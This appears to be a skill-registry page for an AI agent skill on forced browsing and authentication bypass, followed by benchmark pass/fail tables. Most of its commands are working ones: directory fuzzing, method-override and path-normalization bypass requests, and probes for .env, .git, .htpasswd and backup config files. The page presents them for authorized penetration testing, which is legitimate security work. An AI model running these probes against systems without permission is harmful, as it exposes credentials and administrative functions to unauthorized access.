Install any skill in seconds. Free to start, no credit card required.
Get Started Free →Discovering and accessing unprotected pages, APIs, and administrative interfaces by enumerating URLs and bypassing authentication controls during authorized security assessments.
.claude/skills/bypassing-authentication-with-forced-browsing/SKILL.md| Test case | Without → With | Effect | Δ tokens | Δ turns |
|---|---|---|---|---|
| case-09 | ✗→✓ | ▲ Improved | — | — |
| case-02 | ✗→✓ | ▲ Improved | — | — |
| case-08 | ✗→✓ | ▲ Improved | — | — |
| case-19 | ✗→✓ | ▲ Improved | — | — |
| case-15 | ✓→✓ | = Same ✓ | — | — |
go install github.com/ffuf/ffuf/v2@latest)apt install gobuster)git clone https://github.com/danielmiessler/SecLists.git)Use ffuf or Gobuster to discover paths not linked in the application's navigation.
bash# Directory enumeration with ffuf ffuf -u https://target.example.com/FUZZ \ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt \ -mc 200,301,302,403 \ -fc 404 \ -o results-dirs.json -of json \ -t 50 -rate 100 # File enumeration with common extensions ffuf -u https://target.example.com/FUZZ \ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-files.txt \ -e .php,.asp,.aspx,.jsp,.html,.js,.json,.xml,.bak,.old,.txt,.cfg,.conf,.env \ -mc 200,301,302,403 \ -fc 404 \ -o results-files.json -of json \ -t 50 -rate 100 # Gobuster for directory enumeration gobuster dir -u https://target.example.com \ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt \ -s "200,204,301,302,307,403" \ -x php,asp,aspx,jsp,html \ -o gobuster-results.txt \ -t 50
Target common administrative paths and debug endpoints.
bash# Admin panel enumeration ffuf -u https://target.example.com/FUZZ \ -w /usr/share/seclists/Discovery/Web-Content/common.txt \ -mc 200,301,302 \ -t 50 -rate 100 # Common admin paths to check manually: # /admin, /administrator, /admin-panel, /wp-admin # /cpanel, /phpmyadmin, /adminer, /manager # /console, /debug, /actuator, /swagger-ui # /graphql, /graphiql, /.env, /server-status # API endpoint discovery ffuf -u https://target.example.com/api/FUZZ \ -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt \ -mc 200,201,204,301,302,401,403 \ -fc 404 \ -o api-results.json -of json # Check for Spring Boot Actuator endpoints for endpoint in env health info beans configprops mappings trace; do curl -s -o /dev/null -w "%{http_code} /actuator/$endpoint\n" \ "https://target.example.com/actuator/$endpoint" done
Compare responses between unauthenticated and authenticated requests.
bash# Test without authentication curl -s -o /dev/null -w "%{http_code}" \ "https://target.example.com/admin/dashboard" # Test with valid session cookie curl -s -o /dev/null -w "%{http_code}" \ -b "session=valid_session_token_here" \ "https://target.example.com/admin/dashboard" # Automated check: compare response sizes # Unauthenticated request curl -s "https://target.example.com/admin/users" | wc -c # Authenticated request curl -s -b "session=valid_token" \ "https://target.example.com/admin/users" | wc -c # If both return similar content, authentication is not enforced # Test with Burp Intruder: send a list of discovered URLs # without cookies and flag any 200 responses
Some applications only enforce authentication for specific HTTP methods.
bash# Test different HTTP methods on protected endpoints for method in GET POST PUT DELETE PATCH OPTIONS HEAD TRACE; do echo -n "$method: " curl -s -o /dev/null -w "%{http_code}" \ -X "$method" "https://target.example.com/admin/settings" done # Test HTTP method override headers curl -s -o /dev/null -w "%{http_code}" \ -X POST \ -H "X-HTTP-Method-Override: GET" \ "https://target.example.com/admin/settings" curl -s -o /dev/null -w "%{http_code}" \ -H "X-Original-Method: GET" \ -H "X-Rewrite-URL: /admin/settings" \ "https://target.example.com/"
Exploit URL parsing differences to bypass path-based authentication rules.
bash# Path normalization bypass attempts curl -s -o /dev/null -w "%{http_code}" "https://target.example.com/admin/dashboard" curl -s -o /dev/null -w "%{http_code}" "https://target.example.com/ADMIN/dashboard" curl -s -o /dev/null -w "%{http_code}" "https://target.example.com/admin/./dashboard" curl -s -o /dev/null -w "%{http_code}" "https://target.example.com/public/../admin/dashboard" curl -s -o /dev/null -w "%{http_code}" "https://target.example.com/admin%2fdashboard" curl -s -o /dev/null -w "%{http_code}" "https://target.example.com/;/admin/dashboard" curl -s -o /dev/null -w "%{http_code}" "https://target.example.com/admin;anything/dashboard" curl -s -o /dev/null -w "%{http_code}" "https://target.example.com/.;/admin/dashboard" # Double URL encoding curl -s -o /dev/null -w "%{http_code}" "https://target.example.com/%2561dmin/dashboard" # Trailing characters curl -s -o /dev/null -w "%{http_code}" "https://target.example.com/admin/dashboard/" curl -s -o /dev/null -w "%{http_code}" "https://target.example.com/admin/dashboard.json" curl -s -o /dev/null -w "%{http_code}" "https://target.example.com/admin/dashboard%00"
Search for sensitive files inadvertently exposed on the web server.
bash# Backup file discovery ffuf -u https://target.example.com/FUZZ \ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-files.txt \ -e .bak,.old,.orig,.save,.swp,.tmp,.dist,.config,.sql,.gz,.tar,.zip \ -mc 200 -t 50 -rate 100 # Common sensitive files for file in .env .git/config .git/HEAD .svn/entries \ web.config wp-config.php.bak config.php.old \ database.yml .htpasswd server-status phpinfo.php \ robots.txt sitemap.xml crossdomain.xml; do status=$(curl -s -o /dev/null -w "%{http_code}" \ "https://target.example.com/$file") if [ "$status" != "404" ]; then echo "FOUND ($status): $file" fi done # Git repository exposure check curl -s "https://target.example.com/.git/HEAD" # If this returns "ref: refs/heads/main", the git repo is exposed
| Concept | Description | |---------|-------------| | Forced Browsing | Directly accessing URLs that are not linked but exist on the server | | Directory Enumeration | Brute-forcing directory and file names against a wordlist to discover hidden content | | Authentication Bypass | Accessing protected resources without valid credentials due to missing access checks | | Path Normalization | Exploiting differences in how web servers and application frameworks parse URL paths | | Method-based Bypass | Using alternative HTTP methods (PUT, DELETE) that may not have authentication checks | | Information Disclosure | Exposure of sensitive configuration files, backups, or debug interfaces | | Defense in Depth | Layered security controls where authentication is enforced at multiple levels |
| Tool | Purpose | |------|---------| | ffuf | Fast web fuzzer for directory, file, and parameter enumeration | | Gobuster | Directory and DNS brute-forcing tool written in Go | | Feroxbuster | Recursive content discovery tool with automatic recursion | | DirBuster | OWASP Java-based directory brute-force tool with GUI | | Burp Suite | HTTP proxy for request interception and automated scanning | | SecLists | Comprehensive collection of wordlists for security testing |
An admin panel at /admin/ is only hidden by not being linked in the navigation. Direct URL access reveals the full administrative interface without any authentication check.
API endpoints at /api/v1/users and /api/v1/settings require authentication in the frontend application but the backend API does not enforce session validation, allowing unauthenticated direct access.
A developer left config.php.bak on the production server. This backup file contains database credentials in plaintext, discovered through extension-based enumeration.
The /actuator/env endpoint is exposed without authentication, revealing environment variables including database connection strings, API keys, and secrets.
## Forced Browsing / Authentication Bypass Finding
**Vulnerability**: Missing Authentication on Administrative Interface
**Severity**: Critical (CVSS 9.1)
**Location**: /admin/dashboard (GET, no authentication required)
**OWASP Category**: A01:2021 - Broken Access Control
### Discovered Unprotected Resources
| Path | Status | Auth Required | Content |
|------|--------|---------------|---------|
| /admin/dashboard | 200 | No | Full admin panel |
| /admin/users | 200 | No | User management |
| /actuator/env | 200 | No | Environment variables |
| /config.php.bak | 200 | No | Database credentials |
| /.git/HEAD | 200 | No | Git repository metadata |
### Impact
- Unauthenticated access to administrative functions
- Ability to create, modify, and delete user accounts
- Exposure of database credentials and API keys
- Full source code disclosure via exposed Git repository
### Recommendation
1. Implement authentication checks at the server/middleware level for all admin routes
2. Remove backup files, debug endpoints, and version control metadata from production
3. Configure web server to deny access to sensitive file extensions (.bak, .old, .env, .git)
4. Implement IP-based access restrictions for administrative interfaces
5. Use a reverse proxy to restrict access to internal-only endpoints| Case | Status | Duration (ms) | Turns | Tokens | Tool calls | ||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| Without | With | Δ | Without | With | Δ | Without | With | Δ | Without | With | Δ | ||
case-18 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-01 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-06 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-20 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-09 | fail→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-10 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-03 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-12 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-21 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-07 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-22 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-02 | fail→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-08 | fail→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-17 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-05 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-16 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-13 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-11 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-15 | pass→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-19 | fail→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-04 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-14 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
DecimalAI ran this skill against gemini-3.6-flash twice over the same eval suite — once with the skill loaded and once without — and compared the two runs case by case. 22 cases were attempted. The headline lift of +18 percentage points is the difference between those two pass rates over the 22 comparable cases.
The per-case answers from this run were removed by the retention sweep, so the case table below shows the verdicts without the text either arm produced. The counts above were recorded at the time and are unaffected. Answers are now kept for 180 days.
Other measured skills in the registry, with their headline benchmark lift.